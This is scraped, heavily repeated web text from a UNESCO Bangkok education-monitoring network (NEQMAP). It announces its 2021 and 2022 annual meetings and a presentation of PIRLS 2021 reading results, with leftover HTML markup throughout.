The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education. The report, PIRLS 2021 International Results, <\/em>provides important insights into the current state of literacy education. It also serves as a fundamental resource for educators, policymakers, and researchers worldwide to monitor educational recovery from the COVID-19 pandemic.<\/p>\n\n\n\nSeven members of NEQMAP participated in PIRLS 2021.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education. The report, PIRLS 2021 International Results, <\/em>provides important insights into the current state of literacy education. It also serves as a fundamental resource for educators, policymakers, and researchers worldwide to monitor educational recovery from the COVID-19 pandemic.<\/p>\n\n\n\nSeven members of NEQMAP participated in PIRLS 2021. Their results will be emphasized today amongst the selection of international results.<\/p>\n\n\n\nPresenter<\/strong>:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/05\/Dirk-Hastedt_04-edited.webp\" alt=\"\" class=\"wp-image-5695\" width=\"441\"\/><\/figure>\n\n\n\nDr Dirk Hastedt<\/strong> is the Executive Director of the International Association for the Evaluation of Educational Achievement (IEA), leading its high-quality comparative research.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education. The report, PIRLS 2021 International Results, <\/em>provides important insights into the current state of literacy education. It also serves as a fundamental resource for educators, policymakers, and researchers worldwide to monitor educational recovery from the COVID-19 pandemic.<\/p>\n\n\n\nSeven members of NEQMAP participated in PIRLS 2021.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education. The report, PIRLS 2021 International Results, <\/em>provides important insights into the current state of literacy education. It also serves as a fundamental resource for educators, policymakers, and researchers worldwide to monitor educational recovery from the COVID-19 pandemic.<\/p>\n\n\n\nSeven members of NEQMAP participated in PIRLS 2021. Their results will be emphasized today amongst the selection of international results.<\/p>\n\n\n\nPresenter<\/strong>:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/05\/Dirk-Hastedt_04-edited.webp\" alt=\"\" class=\"wp-image-5695\" width=\"441\"\/><\/figure>\n\n\n\nDr Dirk Hastedt<\/strong> is the Executive Director of the International Association for the Evaluation of Educational Achievement (IEA), leading its high-quality comparative research.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education. The report, PIRLS 2021 International Results, <\/em>provides important insights into the current state of literacy education. It also serves as a fundamental resource for educators, policymakers, and researchers worldwide to monitor educational recovery from the COVID-19 pandemic.<\/p>\n\n\n\nSeven members of NEQMAP participated in PIRLS 2021. Their results will be emphasized today amongst the selection of international results.<\/p>\n\n\n\nPresenter<\/strong>:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/05\/Dirk-Hastedt_04-edited.webp\" alt=\"\" class=\"wp-image-5695\" width=\"441\"\/><\/figure>\n\n\n\nDr Dirk Hastedt<\/strong> is the Executive Director of the International Association for the Evaluation of Educational Achievement (IEA), leading its high-quality comparative research.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education. The report, PIRLS 2021 International Results, <\/em>provides important insights into the current state of literacy education. It also serves as a fundamental resource for educators, policymakers, and researchers worldwide to monitor educational recovery from the COVID-19 pandemic.<\/p>\n\n\n\nSeven members of NEQMAP participated in PIRLS 2021. Their results will be emphasized today amongst the selection of international results.<\/p>\n\n\n\nPresenter<\/strong>:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/05\/Dirk-Hastedt_04-edited.webp\" alt=\"\" class=\"wp-image-5695\" width=\"441\"\/><\/figure>\n\n\n\nDr Dirk Hastedt<\/strong> is the Executive Director of the International Association for the Evaluation of Educational Achievement (IEA), leading its high-quality comparative research.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new 